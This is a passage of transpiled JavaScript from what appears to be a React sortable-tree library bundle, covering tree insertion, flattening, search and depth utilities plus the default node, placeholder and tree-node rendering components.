      if (!parentNode.children) {
        insertedTreeIndex = treeIndex + 1;
        return _objectSpread2(_objectSpread2({}, parentNode), {}, {
          children: [newNode]
        });
      }

      if (typeof parentNode.children === 'function') {
        throw new Error('Cannot add to children defined by a function');
      }

      var nextTreeIndex = treeIndex + 1;

      for (var i = 0; i < parentNode.children.length; i += 1) {
        nextTreeIndex += 1 + getDescendantCount({
          node: parentNode.children[i],
          ignoreCollapsed: ignoreCollapsed
        });
      }

      insertedTreeIndex = nextTreeIndex;
      var children = addAsFirstChild ? [newNode].concat(_toConsumableArray(parentNode.children)) : [].concat(_toConsumableArray(parentNode.children), [newNode]);
      return _objectSpread2(_objectSpread2({}, parentNode), {}, {
        children: children
      });
    }
  });

  if (!hasBeenAdded) {
    throw new Error('No node found with the given key.');
  }

  return {
    treeData: changedTreeData,
    treeIndex: insertedTreeIndex
  };
}

function addNodeAtDepthAndIndex(_ref21) {
  var targetDepth = _ref21.targetDepth,
      minimumTreeIndex = _ref21.minimumTreeIndex,
      newNode = _ref21.newNode,
      ignoreCollapsed = _ref21.ignoreCollapsed,
      expandParent = _ref21.expandParent,
      _ref21$isPseudoRoot = _ref21.isPseudoRoot,
      isPseudoRoot = _ref21$isPseudoRoot === void 0 ? false : _ref21$isPseudoRoot,
      isLastChild = _ref21.isLastChild,
      node = _ref21.node,
      currentIndex = _ref21.currentIndex,
      currentDepth = _ref21.currentDepth,
      getNodeKey = _ref21.getNodeKey,
      _ref21$path = _ref21.path,
      path = _ref21$path === void 0 ? [] : _ref21$path;

  var selfPath = function selfPath(n) {
    return isPseudoRoot ? [] : [].concat(_toConsumableArray(path), [getNodeKey({
      node: n,
      treeIndex: currentIndex
    })]);
  }; // If the current position is the only possible place to add, add it


  if (currentIndex >= minimumTreeIndex - 1 || isLastChild && !(node.children && node.children.length)) {
    if (typeof node.children === 'function') {
      throw new Error('Cannot add to children defined by a function');
    } else {
      var extraNodeProps = expandParent ? {
        expanded: true
      } : {};

      var _nextNode = _objectSpread2(_objectSpread2(_objectSpread2({}, node), extraNodeProps), {}, {
        children: node.children ? [newNode].concat(_toConsumableArray(node.children)) : [newNode]
      });

      return {
        node: _nextNode,
        nextIndex: currentIndex + 2,
        insertedTreeIndex: currentIndex + 1,
        parentPath: selfPath(_nextNode),
        parentNode: isPseudoRoot ? null : _nextNode
      };
    }
  } // If this is the target depth for the insertion,
  // i.e., where the newNode can be added to the current node's children


  if (currentDepth >= targetDepth - 1) {
    // Skip over nodes with no children or hidden children
    if (!node.children || typeof node.children === 'function' || node.expanded !== true && ignoreCollapsed && !isPseudoRoot) {
      return {
        node: node,
        nextIndex: currentIndex + 1
      };
    } // Scan over the children to see if there's a place among them that fulfills
    // the minimumTreeIndex requirement


    var _childIndex = currentIndex + 1;

    var _insertedTreeIndex = null;
    var insertIndex = null;

    for (var i = 0; i < node.children.length; i += 1) {
      // If a valid location is found, mark it as the insertion location and
      // break out of the loop
      if (_childIndex >= minimumTreeIndex) {
        _insertedTreeIndex = _childIndex;
        insertIndex = i;
        break;
      } // Increment the index by the child itself plus the number of descendants it has


      _childIndex += 1 + getDescendantCount({
        node: node.children[i],
        ignoreCollapsed: ignoreCollapsed
      });
    } // If no valid indices to add the node were found


    if (insertIndex === null) {
      // If the last position in this node's children is less than the minimum index
      // and there are more children on the level of this node, return without insertion
      if (_childIndex < minimumTreeIndex && !isLastChild) {
        return {
          node: node,
          nextIndex: _childIndex
        };
      } // Use the last position in the children array to insert the newNode


      _insertedTreeIndex = _childIndex;
      insertIndex = node.children.length;
    } // Insert the newNode at the insertIndex


    var _nextNode2 = _objectSpread2(_objectSpread2({}, node), {}, {
      children: [].concat(_toConsumableArray(node.children.slice(0, insertIndex)), [newNode], _toConsumableArray(node.children.slice(insertIndex)))
    }); // Return node with successful insert result


    return {
      node: _nextNode2,
      nextIndex: _childIndex,
      insertedTreeIndex: _insertedTreeIndex,
      parentPath: selfPath(_nextNode2),
      parentNode: isPseudoRoot ? null : _nextNode2
    };
  } // Skip over nodes with no children or hidden children


  if (!node.children || typeof node.children === 'function' || node.expanded !== true && ignoreCollapsed && !isPseudoRoot) {
    return {
      node: node,
      nextIndex: currentIndex + 1
    };
  } // Get all descendants


  var insertedTreeIndex = null;
  var pathFragment = null;
  var parentNode = null;
  var childIndex = currentIndex + 1;
  var newChildren = node.children;

  if (typeof newChildren !== 'function') {
    newChildren = newChildren.map(function (child, i) {
      if (insertedTreeIndex !== null) {
        return child;
      }

      var mapResult = addNodeAtDepthAndIndex({
        targetDepth: targetDepth,
        minimumTreeIndex: minimumTreeIndex,
        newNode: newNode,
        ignoreCollapsed: ignoreCollapsed,
        expandParent: expandParent,
        isLastChild: isLastChild && i === newChildren.length - 1,
        node: child,
        currentIndex: childIndex,
        currentDepth: currentDepth + 1,
        getNodeKey: getNodeKey,
        path: [] // Cannot determine the parent path until the children have been processed

      });

      if ('insertedTreeIndex' in mapResult) {
        insertedTreeIndex = mapResult.insertedTreeIndex;
        parentNode = mapResult.parentNode;
        pathFragment = mapResult.parentPath;
      }

      childIndex = mapResult.nextIndex;
      return mapResult.node;
    });
  }

  var nextNode = _objectSpread2(_objectSpread2({}, node), {}, {
    children: newChildren
  });

  var result = {
    node: nextNode,
    nextIndex: childIndex
  };

  if (insertedTreeIndex !== null) {
    result.insertedTreeIndex = insertedTreeIndex;
    result.parentPath = [].concat(_toConsumableArray(selfPath(nextNode)), _toConsumableArray(pathFragment));
    result.parentNode = parentNode;
  }

  return result;
}
/**
 * Insert a node into the tree at the given depth, after the minimum index
 *
 * @param {!Object[]} treeData - Tree data
 * @param {!number} depth - The depth to insert the node at (the first level of the array being depth 0)
 * @param {!number} minimumTreeIndex - The lowest possible treeIndex to insert the node at
 * @param {!Object} newNode - The node to insert into the tree
 * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true`
 * @param {boolean=} expandParent - If true, expands the parent of the inserted node
 * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index
 *
 * @return {Object} result
 * @return {Object[]} result.treeData - The tree data with the node added
 * @return {number} result.treeIndex - The tree index at which the node was inserted
 * @return {number[]|string[]} result.path - Array of keys leading to the node location after insertion
 * @return {Object} result.parentNode - The parent node of the inserted node
 */


function insertNode(_ref22) {
  var treeData = _ref22.treeData,
      targetDepth = _ref22.depth,
      minimumTreeIndex = _ref22.minimumTreeIndex,
      newNode = _ref22.newNode,
      _ref22$getNodeKey = _ref22.getNodeKey,
      getNodeKey = _ref22$getNodeKey === void 0 ? function () {} : _ref22$getNodeKey,
      _ref22$ignoreCollapse = _ref22.ignoreCollapsed,
      ignoreCollapsed = _ref22$ignoreCollapse === void 0 ? true : _ref22$ignoreCollapse,
      _ref22$expandParent = _ref22.expandParent,
      expandParent = _ref22$expandParent === void 0 ? false : _ref22$expandParent;

  if (!treeData && targetDepth === 0) {
    return {
      treeData: [newNode],
      treeIndex: 0,
      path: [getNodeKey({
        node: newNode,
        treeIndex: 0
      })],
      parentNode: null
    };
  }

  var insertResult = addNodeAtDepthAndIndex({
    targetDepth: targetDepth,
    minimumTreeIndex: minimumTreeIndex,
    newNode: newNode,
    ignoreCollapsed: ignoreCollapsed,
    expandParent: expandParent,
    getNodeKey: getNodeKey,
    isPseudoRoot: true,
    isLastChild: true,
    node: {
      children: treeData
    },
    currentIndex: -1,
    currentDepth: -1
  });

  if (!('insertedTreeIndex' in insertResult)) {
    throw new Error('No suitable position found to insert.');
  }

  var treeIndex = insertResult.insertedTreeIndex;
  return {
    treeData: insertResult.node.children,
    treeIndex: treeIndex,
    path: [].concat(_toConsumableArray(insertResult.parentPath), [getNodeKey({
      node: newNode,
      treeIndex: treeIndex
    })]),
    parentNode: insertResult.parentNode
  };
}
/**
 * Get tree data flattened.
 *
 * @param {!Object[]} treeData - Tree data
 * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index
 * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true`
 *
 * @return {{
 *      node: Object,
 *      path: []string|[]number,
 *      lowerSiblingCounts: []number
 *  }}[] nodes - The node array
 */

function getFlatDataFromTree(_ref23) {
  var treeData = _ref23.treeData,
      getNodeKey = _ref23.getNodeKey,
      _ref23$ignoreCollapse = _ref23.ignoreCollapsed,
      ignoreCollapsed = _ref23$ignoreCollapse === void 0 ? true : _ref23$ignoreCollapse;

  if (!treeData || treeData.length < 1) {
    return [];
  }

  var flattened = [];
  walk({
    treeData: treeData,
    getNodeKey: getNodeKey,
    ignoreCollapsed: ignoreCollapsed,
    callback: function callback(nodeInfo) {
      flattened.push(nodeInfo);
    }
  });
  return flattened;
}
/**
 * Generate a tree structure from flat data.
 *
 * @param {!Object[]} flatData
 * @param {!function=} getKey - Function to get the key from the nodeData
 * @param {!function=} getParentKey - Function to get the parent key from the nodeData
 * @param {string|number=} rootKey - The value returned by `getParentKey` that corresponds to the root node.
 *                                  For example, if your nodes have id 1-99, you might use rootKey = 0
 *
 * @return {Object[]} treeData - The flat data represented as a tree
 */

function getTreeFromFlatData(_ref24) {
  var flatData = _ref24.flatData,
      _ref24$getKey = _ref24.getKey,
      getKey = _ref24$getKey === void 0 ? function (node) {
    return node.id;
  } : _ref24$getKey,
      _ref24$getParentKey = _ref24.getParentKey,
      getParentKey = _ref24$getParentKey === void 0 ? function (node) {
    return node.parentId;
  } : _ref24$getParentKey,
      _ref24$rootKey = _ref24.rootKey,
      rootKey = _ref24$rootKey === void 0 ? '0' : _ref24$rootKey;

  if (!flatData) {
    return [];
  }

  var childrenToParents = {};
  flatData.forEach(function (child) {
    var parentKey = getParentKey(child);

    if (parentKey in childrenToParents) {
      childrenToParents[parentKey].push(child);
    } else {
      childrenToParents[parentKey] = [child];
    }
  });

  if (!(rootKey in childrenToParents)) {
    return [];
  }

  var trav = function trav(parent) {
    var parentKey = getKey(parent);

    if (parentKey in childrenToParents) {
      return _objectSpread2(_objectSpread2({}, parent), {}, {
        children: childrenToParents[parentKey].map(function (child) {
          return trav(child);
        })
      });
    }

    return _objectSpread2({}, parent);
  };

  return childrenToParents[rootKey].map(function (child) {
    return trav(child);
  });
}
/**
 * Check if a node is a descendant of another node.
 *
 * @param {!Object} older - Potential ancestor of younger node
 * @param {!Object} younger - Potential descendant of older node
 *
 * @return {boolean}
 */

function isDescendant(older, younger) {
  return !!older.children && typeof older.children !== 'function' && older.children.some(function (child) {
    return child === younger || isDescendant(child, younger);
  });
}
/**
 * Get the maximum depth of the children (the depth of the root node is 0).
 *
 * @param {!Object} node - Node in the tree
 * @param {?number} depth - The current depth
 *
 * @return {number} maxDepth - The deepest depth in the tree
 */

function getDepth(node) {
  var depth = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;

  if (!node.children) {
    return depth;
  }

  if (typeof node.children === 'function') {
    return depth + 1;
  }

  return node.children.reduce(function (deepest, child) {
    return Math.max(deepest, getDepth(child, depth + 1));
  }, depth);
}
/**
 * Find nodes matching a search query in the tree,
 *
 * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index
 * @param {!Object[]} treeData - Tree data
 * @param {?string|number} searchQuery - Function returning a boolean to indicate whether the node is a match or not
 * @param {!function} searchMethod - Function returning a boolean to indicate whether the node is a match or not
 * @param {?number} searchFocusOffset - The offset of the match to focus on
 *                                      (e.g., 0 focuses on the first match, 1 on the second)
 * @param {boolean=} expandAllMatchPaths - If true, expands the paths to any matched node
 * @param {boolean=} expandFocusMatchPaths - If true, expands the path to the focused node
 *
 * @return {Object[]} matches - An array of objects containing the matching `node`s, their `path`s and `treeIndex`s
 * @return {Object[]} treeData - The original tree data with all relevant nodes expanded.
 *                               If expandAllMatchPaths and expandFocusMatchPaths are both false,
 *                               it will be the same as the original tree data.
 */

function find(_ref25) {
  var getNodeKey = _ref25.getNodeKey,
      treeData = _ref25.treeData,
      searchQuery = _ref25.searchQuery,
      searchMethod = _ref25.searchMethod,
      searchFocusOffset = _ref25.searchFocusOffset,
      _ref25$expandAllMatch = _ref25.expandAllMatchPaths,
      expandAllMatchPaths = _ref25$expandAllMatch === void 0 ? false : _ref25$expandAllMatch,
      _ref25$expandFocusMat = _ref25.expandFocusMatchPaths,
      expandFocusMatchPaths = _ref25$expandFocusMat === void 0 ? true : _ref25$expandFocusMat;
  var matchCount = 0;

  var trav = function trav(_ref26) {
    var _ref26$isPseudoRoot = _ref26.isPseudoRoot,
        isPseudoRoot = _ref26$isPseudoRoot === void 0 ? false : _ref26$isPseudoRoot,
        node = _ref26.node,
        currentIndex = _ref26.currentIndex,
        _ref26$path = _ref26.path,
        path = _ref26$path === void 0 ? [] : _ref26$path;
    var matches = [];
    var isSelfMatch = false;
    var hasFocusMatch = false; // The pseudo-root is not considered in the path

    var selfPath = isPseudoRoot ? [] : [].concat(_toConsumableArray(path), [getNodeKey({
      node: node,
      treeIndex: currentIndex
    })]);
    var extraInfo = isPseudoRoot ? null : {
      path: selfPath,
      treeIndex: currentIndex
    }; // Nodes with with children that aren't lazy

    var hasChildren = node.children && typeof node.children !== 'function' && node.children.length > 0; // Examine the current node to see if it is a match

    if (!isPseudoRoot && searchMethod(_objectSpread2(_objectSpread2({}, extraInfo), {}, {
      node: node,
      searchQuery: searchQuery
    }))) {
      if (matchCount === searchFocusOffset) {
        hasFocusMatch = true;
      } // Keep track of the number of matching nodes, so we know when the searchFocusOffset
      //  is reached


      matchCount += 1; // We cannot add this node to the matches right away, as it may be changed
      //  during the search of the descendants. The entire node is used in
      //  comparisons between nodes inside the `matches` and `treeData` results
      //  of this method (`find`)

      isSelfMatch = true;
    }

    var childIndex = currentIndex;

    var newNode = _objectSpread2({}, node);

    if (hasChildren) {
      // Get all descendants
      newNode.children = newNode.children.map(function (child) {
        var mapResult = trav({
          node: child,
          currentIndex: childIndex + 1,
          path: selfPath
        }); // Ignore hidden nodes by only advancing the index counter to the returned treeIndex
        // if the child is expanded.
        //
        // The child could have been expanded from the start,
        // or expanded due to a matching node being found in its descendants

        if (mapResult.node.expanded) {
          childIndex = mapResult.treeIndex;
        } else {
          childIndex += 1;
        }

        if (mapResult.matches.length > 0 || mapResult.hasFocusMatch) {
          matches = [].concat(_toConsumableArray(matches), _toConsumableArray(mapResult.matches));

          if (mapResult.hasFocusMatch) {
            hasFocusMatch = true;
          } // Expand the current node if it has descendants matching the search
          // and the settings are set to do so.


          if (expandAllMatchPaths && mapResult.matches.length > 0 || (expandAllMatchPaths || expandFocusMatchPaths) && mapResult.hasFocusMatch) {
            newNode.expanded = true;
          }
        }

        return mapResult.node;
      });
    } // Cannot assign a treeIndex to hidden nodes


    if (!isPseudoRoot && !newNode.expanded) {
      matches = matches.map(function (match) {
        return _objectSpread2(_objectSpread2({}, match), {}, {
          treeIndex: null
        });
      });
    } // Add this node to the matches if it fits the search criteria.
    // This is performed at the last minute so newNode can be sent in its final form.


    if (isSelfMatch) {
      matches = [_objectSpread2(_objectSpread2({}, extraInfo), {}, {
        node: newNode
      })].concat(_toConsumableArray(matches));
    }

    return {
      node: matches.length > 0 ? newNode : node,
      matches: matches,
      hasFocusMatch: hasFocusMatch,
      treeIndex: childIndex
    };
  };

  var result = trav({
    node: {
      children: treeData
    },
    isPseudoRoot: true,
    currentIndex: -1
  });
  return {
    matches: result.matches,
    treeData: result.node.children
  };
}

// very simple className utility for creating a classname string...
// Falsy arguments are ignored:
//
// const active = true
// const className = classnames(
//    "class1",
//    !active && "class2",
//    active && "class3"
// ); // returns -> class1 class3";
//
function classnames() {
  for (var _len = arguments.length, classes = new Array(_len), _key = 0; _key < _len; _key++) {
    classes[_key] = arguments[_key];
  }

  // Use Boolean constructor as a filter callback
  // Allows for loose type truthy/falsey checks
  // Boolean("") === false;
  // Boolean(false) === false;
  // Boolean(undefined) === false;
  // Boolean(null) === false;
  // Boolean(0) === false;
  // Boolean("classname") === true;
  return classes.filter(Boolean).join(' ');
}

var NodeRendererDefault = /*#__PURE__*/function (_Component) {
  _inherits(NodeRendererDefault, _Component);

  var _super = _createSuper(NodeRendererDefault);

  function NodeRendererDefault() {
    _classCallCheck(this, NodeRendererDefault);

    return _super.apply(this, arguments);
  }

  _createClass(NodeRendererDefault, [{
    key: "render",
    value: function render() {
      var _this$props = this.props,
          scaffoldBlockPxWidth = _this$props.scaffoldBlockPxWidth,
          toggleChildrenVisibility = _this$props.toggleChildrenVisibility,
          connectDragPreview = _this$props.connectDragPreview,
          connectDragSource = _this$props.connectDragSource,
          isDragging = _this$props.isDragging,
          canDrop = _this$props.canDrop,
          canDrag = _this$props.canDrag,
          node = _this$props.node,
          title = _this$props.title,
          subtitle = _this$props.subtitle,
          draggedNode = _this$props.draggedNode,
          path = _this$props.path,
          treeIndex = _this$props.treeIndex,
          isSearchMatch = _this$props.isSearchMatch,
          isSearchFocus = _this$props.isSearchFocus,
          buttons = _this$props.buttons,
          className = _this$props.className,
          style = _this$props.style,
          didDrop = _this$props.didDrop,
          treeId = _this$props.treeId,
          isOver = _this$props.isOver,
          parentNode = _this$props.parentNode,
          rowDirection = _this$props.rowDirection,
          otherProps = _objectWithoutProperties(_this$props, ["scaffoldBlockPxWidth", "toggleChildrenVisibility", "connectDragPreview", "connectDragSource", "isDragging", "canDrop", "canDrag", "node", "title", "subtitle", "draggedNode", "path", "treeIndex", "isSearchMatch", "isSearchFocus", "buttons", "className", "style", "didDrop", "treeId", "isOver", "parentNode", "rowDirection"]);

      var nodeTitle = title || node.title;
      var nodeSubtitle = subtitle || node.subtitle;
      var rowDirectionClass = rowDirection === 'rtl' ? 'rst__rtl' : null;
      var handle;

      if (canDrag) {
        if (typeof node.children === 'function' && node.expanded) {
          // Show a loading symbol on the handle when the children are expanded
          //  and yet still defined by a function (a callback to fetch the children)
          handle = /*#__PURE__*/React.createElement("div", {
            className: "rst__loadingHandle"
          }, /*#__PURE__*/React.createElement("div", {
            className: "rst__loadingCircle"
          }, _toConsumableArray(new Array(12)).map(function (_, index) {
            return /*#__PURE__*/React.createElement("div", {
              // eslint-disable-next-line react/no-array-index-key
              key: index,
              className: classnames('rst__loadingCirclePoint', rowDirectionClass)
            });
          })));
        } else {
          // Show the handle used to initiate a drag-and-drop
          handle = connectDragSource( /*#__PURE__*/React.createElement("div", {
            className: "rst__moveHandle"
          }), {
            dropEffect: 'copy'
          });
        }
      }

      var isDraggedDescendant = draggedNode && isDescendant(draggedNode, node);
      var isLandingPadActive = !didDrop && isDragging;
      var buttonStyle = {
        left: -0.5 * scaffoldBlockPxWidth
      };

      if (rowDirection === 'rtl') {
        buttonStyle = {
          right: -0.5 * scaffoldBlockPxWidth
        };
      }

      return /*#__PURE__*/React.createElement("div", _extends({
        style: {
          height: '100%'
        }
      }, otherProps), toggleChildrenVisibility && node.children && (node.children.length > 0 || typeof node.children === 'function') && /*#__PURE__*/React.createElement("div", null, /*#__PURE__*/React.createElement("button", {
        type: "button",
        "aria-label": node.expanded ? 'Collapse' : 'Expand',
        className: classnames(node.expanded ? 'rst__collapseButton' : 'rst__expandButton', rowDirectionClass),
        style: buttonStyle,
        onClick: function onClick() {
          return toggleChildrenVisibility({
            node: node,
            path: path,
            treeIndex: treeIndex
          });
        }
      }), node.expanded && !isDragging && /*#__PURE__*/React.createElement("div", {
        style: {
          width: scaffoldBlockPxWidth
        },
        className: classnames('rst__lineChildren', rowDirectionClass)
      })), /*#__PURE__*/React.createElement("div", {
        className: classnames('rst__rowWrapper', rowDirectionClass)
      }, connectDragPreview( /*#__PURE__*/React.createElement("div", {
        className: classnames('rst__row', isLandingPadActive && 'rst__rowLandingPad', isLandingPadActive && !canDrop && 'rst__rowCancelPad', isSearchMatch && 'rst__rowSearchMatch', isSearchFocus && 'rst__rowSearchFocus', rowDirectionClass, className),
        style: _objectSpread2({
          opacity: isDraggedDescendant ? 0.5 : 1
        }, style)
      }, handle, /*#__PURE__*/React.createElement("div", {
        className: classnames('rst__rowContents', !canDrag && 'rst__rowContentsDragDisabled', rowDirectionClass)
      }, /*#__PURE__*/React.createElement("div", {
        className: classnames('rst__rowLabel', rowDirectionClass)
      }, /*#__PURE__*/React.createElement("span", {
        className: classnames('rst__rowTitle', node.subtitle && 'rst__rowTitleWithSubtitle')
      }, typeof nodeTitle === 'function' ? nodeTitle({
        node: node,
        path: path,
        treeIndex: treeIndex
      }) : nodeTitle), nodeSubtitle && /*#__PURE__*/React.createElement("span", {
        className: "rst__rowSubtitle"
      }, typeof nodeSubtitle === 'function' ? nodeSubtitle({
        node: node,
        path: path,
        treeIndex: treeIndex
      }) : nodeSubtitle)), /*#__PURE__*/React.createElement("div", {
        className: "rst__rowToolbar"
      }, buttons.map(function (btn, index) {
        return /*#__PURE__*/React.createElement("div", {
          key: index // eslint-disable-line react/no-array-index-key
          ,
          className: "rst__toolbarButton"
        }, btn);
      })))))));
    }
  }]);

  return NodeRendererDefault;
}(Component);

NodeRendererDefault.defaultProps = {
  isSearchMatch: false,
  isSearchFocus: false,
  canDrag: false,
  toggleChildrenVisibility: null,
  buttons: [],
  className: '',
  style: {},
  parentNode: null,
  draggedNode: null,
  canDrop: false,
  title: null,
  subtitle: null,
  rowDirection: 'ltr'
};
NodeRendererDefault.propTypes = {
  node: PropTypes.shape({}).isRequired,
  title: PropTypes.oneOfType([PropTypes.func, PropTypes.node]),
  subtitle: PropTypes.oneOfType([PropTypes.func, PropTypes.node]),
  path: PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.string, PropTypes.number])).isRequired,
  treeIndex: PropTypes.number.isRequired,
  treeId: PropTypes.string.isRequired,
  isSearchMatch: PropTypes.bool,
  isSearchFocus: PropTypes.bool,
  canDrag: PropTypes.bool,
  scaffoldBlockPxWidth: PropTypes.number.isRequired,
  toggleChildrenVisibility: PropTypes.func,
  buttons: PropTypes.arrayOf(PropTypes.node),
  className: PropTypes.string,
  style: PropTypes.shape({}),
  // Drag and drop API functions
  // Drag source
  connectDragPreview: PropTypes.func.isRequired,
  connectDragSource: PropTypes.func.isRequired,
  parentNode: PropTypes.shape({}),
  // Needed for dndManager
  isDragging: PropTypes.bool.isRequired,
  didDrop: PropTypes.bool.isRequired,
  draggedNode: PropTypes.shape({}),
  // Drop target
  isOver: PropTypes.bool.isRequired,
  canDrop: PropTypes.bool,
  // rtl support
  rowDirection: PropTypes.string
};

var PlaceholderRendererDefault = function PlaceholderRendererDefault(_ref) {
  var isOver = _ref.isOver,
      canDrop = _ref.canDrop;
  return /*#__PURE__*/React.createElement("div", {
    className: classnames('rst__placeholder', canDrop && 'rst__placeholderLandingPad', canDrop && !isOver && 'rst__placeholderCancelPad')
  });
};

PlaceholderRendererDefault.defaultProps = {
  isOver: false,
  canDrop: false
};
PlaceholderRendererDefault.propTypes = {
  isOver: PropTypes.bool,
  canDrop: PropTypes.bool
};

var TreeNode = /*#__PURE__*/function (_Component) {
  _inherits(TreeNode, _Component);

  var _super = _createSuper(TreeNode);

  function TreeNode() {
    _classCallCheck(this, TreeNode);

    return _super.apply(this, arguments);
  }

  _createClass(TreeNode, [{
    key: "render",
    value: function render() {
      var _this$props = this.props,
          children = _this$props.children,
          listIndex = _this$props.listIndex,
          swapFrom = _this$props.swapFrom,
          swapLength = _this$props.swapLength,
          swapDepth = _this$props.swapDepth,
          scaffoldBlockPxWidth = _this$props.scaffoldBlockPxWidth,
          lowerSiblingCounts = _this$props.lowerSiblingCounts,
          connectDropTarget = _this$props.connectDropTarget,
          isOver = _this$props.isOver,
          draggedNode = _this$props.draggedNode,
          canDrop = _this$props.canDrop,
          treeIndex = _this$props.treeIndex,
          treeId = _this$props.treeId,
          getPrevRow = _this$props.getPrevRow,
          node = _this$props.node,
          path = _this$props.path,
          rowDirection = _this$props.rowDirection,
          otherProps = _objectWithoutProperties(_this$props, ["children", "listIndex", "swapFrom", "swapLength", "swapDepth", "scaffoldBlockPxWidth", "lowerSiblingCounts", "connectDropTarget", "isOver", "draggedNode", "canDrop", "treeIndex", "treeId", "getPrevRow", "node", "path", "rowDirection"]);

      var rowDirectionClass = rowDirection === 'rtl' ? 'rst__rtl' : null; // Construct the scaffold representing the structure of the tree

      var scaffoldBlockCount = lowerSiblingCounts.length;
      var scaffold = [];
      lowerSiblingCounts.forEach(function (lowerSiblingCount, i) {
        var lineClass = '';

        if (lowerSiblingCount > 0) {
          // At this level in the tree, the nodes had sibling nodes further down
          if (listIndex === 0) {
            // Top-left corner of the tree
            // +-----+
            // |     |
            // |  +--+
            // |  |  |
            // +--+--+
            lineClass = 'rst__lineHalfHorizontalRight rst__lineHalfVerticalBottom';
          } else if (i === scaffoldBlockCount - 1) {
            // Last scaffold block in the row, right before the row content
            // +--+--+
            // |  |  |
            // |  +--+
            // |  |  |
            // +--+--+
            lineClass = 'rst__lineHalfHorizontalRight rst__lineFullVertical';
          } else {
            // Simply connecting the line extending down to the next sibling on this level
            // +--+--+
            // |  |  |
            // |  |  |
            // |  |  |
            // +--+--+
            lineClass = 'rst__lineFullVertical';
          }
        } else if (listIndex === 0) {
          // Top-left corner of the tree, but has no siblings
          // +-----+
          // |     |
          // |  +--+
          // |     |
          // +-----+
          lineClass = 'rst__lineHalfHorizontalRight';
        } else if (i === scaffoldBlockCount - 1) {
          // The last or only node in this level of the tree
          // +--+--+
          // |  |  |
          // |  +--+
          // |     |
          // +-----+
          lineClass = 'rst__lineHalfVerticalTop rst__lineHalfHorizontalRight';
        }

        scaffold.push( /*#__PURE__*/React.createElement("div", {
          key: "pre_".concat(1 + i),
          style: {
            width: scaffoldBlockPxWidth
          },
          className: classnames('rst__lineBlock', lineClass, rowDirectionClass)
        }));

        if (treeIndex !== listIndex && i === swapDepth) {
          // This row has been shifted, and is at the depth of
          // the line pointing to the new destination
          var highlightLineClass = '';

          if (listIndex === swapFrom + swapLength - 1) {
            // This block is on the bottom (target) line
            // This block points at the target block (where the row will go when released)
            highlightLineClass = 'rst__highlightBottomLeftCorner';
          } else if (treeIndex === swapFrom) {
            // This block is on the top (source) line
            highlightLineClass = 'rst__highlightTopLeftCorner';
          } else {
            // This block is between the bottom and top
            highlightLineClass = 'rst__highlightLineVertical';
          }

          var _style;

          if (rowDirection === 'rtl') {
            _style = {
              width: scaffoldBlockPxWidth,
              right: scaffoldBlockPxWidth * i
            };
          } else {
            // Default ltr
            _style = {
              width: scaffoldBlockPxWidth,
              left: scaffoldBlockPxWidth * i
            };
          }

          scaffold.push( /*#__PURE__*/React.createElement("div", {
            // eslint-disable-next-line react/no-array-index-key
            key: i,
            style: _style,
            className: classnames('rst__absoluteLineBlock', highlightLineClass, rowDirectionClass)
          }));
        }
      });
      var style;

      if (rowDirection === 'rtl') {
        style = {
          right: scaffoldBlockPxWidth * scaffoldBlockCount
        };
      } else {
        // Default ltr
        style = {
          left: scaffoldBlockPxWidth * scaffoldBlockCount
        };
      }

      return connectDropTarget( /*#__PURE__*/React.createElement("div", _extends({}, otherProps, {
        className: classnames('rst__node', rowDirectionClass)
      }), scaffold, /*#__PURE__*/React.createElement("div", {
        className: "rst__nodeContent",
        style: style
      }, Children.map(children, function (child) {
        return /*#__PURE__*/cloneElement(child, {
          isOver: isOver,
          canDrop: canDrop,
          draggedNode: draggedNode
        });
      }))));
    }
  }]);

  return TreeNode;
}(Component);

TreeNode.defaultProps = {
  swapFrom: null,
  swapDepth: null,
  swapLength: null,
  canDrop: false,
  draggedNode: null,
  rowDirection: 'ltr'
};
TreeNode.propTypes = {
  treeIndex: PropTypes.number.isRequired,
  treeId: PropTypes.string.isRequired,
  swapFrom: PropTypes.number,
  swapDepth: PropTypes.number,
  swapLength: PropTypes.number,
  scaffoldBlockPxWidth: PropTypes.number.isRequired,
  lowerSiblingCounts: PropTypes.arrayOf(PropTypes.number).isRequired,
  listIndex: PropTypes.number.isRequired,
  children: PropTypes.node.isRequired,
  // Drop target
  connectDropTarget: PropTypes.func.isRequired,
  isOver: PropTypes.bool.isRequired,
  canDrop: PropTypes.bool,
  draggedNode: PropTypes.shape({}),
  // used in dndManager
  getPrevRow: PropTypes.func.isRequired,
  node: PropTypes.shape({}).isRequired,
  path: PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.string, PropTypes.number])).isRequired,
  // rtl support
  rowDirection: PropTypes.string
};

var TreePlaceholder = /*#__PURE__*/function (_Component) {
  _inherits(TreePlaceholder, _Component);

  var _super = _createSuper(TreePlaceholder);

  function TreePlaceholder() {
    _classCallCheck(this, TreePlaceholder);

    return _super.apply(this, arguments);
  }

  _createClass(TreePlaceholder, [{
    key: "render",
    value: function render() {
      var _this$props = this.props,
          children = _this$props.children,
          connectDropTarget = _this$props.connectDropTarget,
          treeId = _this$props.treeId,
          drop = _this$props.drop,
          otherProps = _objectWithoutProperties(_this$props, ["children", "connectDropTarget", "treeId", "drop"]);

      return connectDropTarget( /*#__PURE__*/React.createElement("div", null, Children.map(children, function (child) {
        return /*#__PURE__*/cloneElement(child, _objectSpread2({}, otherProps));
      })));
    }
  }]);

  return TreePlaceholder;
}(Component);

TreePlaceholder.defaultProps = {
  canDrop: false,
  draggedNode: null
};
TreePlaceholder.propTypes = {
  children: PropTypes.node.isRequired,
  // Drop target
  connectDropTarget: PropTypes.func.isRequired,
  isOver: PropTypes.bool.isRequired,
  canDrop: PropTypes.bool,
  draggedNode: PropTypes.shape({}),
  treeId: PropTypes.string.isRequired,
  drop: PropTypes.func.isRequired
};

function defaultGetNodeKey(_ref) {
  var treeIndex = _ref.treeIndex;
  return treeIndex;
} // Cheap hack to get the text of a react object

function getReactElementText(parent) {
  if (typeof parent === 'string') {
    return parent;
  }

  if (parent === null || _typeof(parent) !== 'object' || !parent.props || !parent.props.children || typeof parent.props.children !== 'string' && _typeof(parent.props.children) !== 'object') {
    return '';
  }

  if (typeof parent.props.children === 'string') {
    return parent.props.children;
  }

  return parent.props.children.map(function (child) {
    return getReactElementText(child);
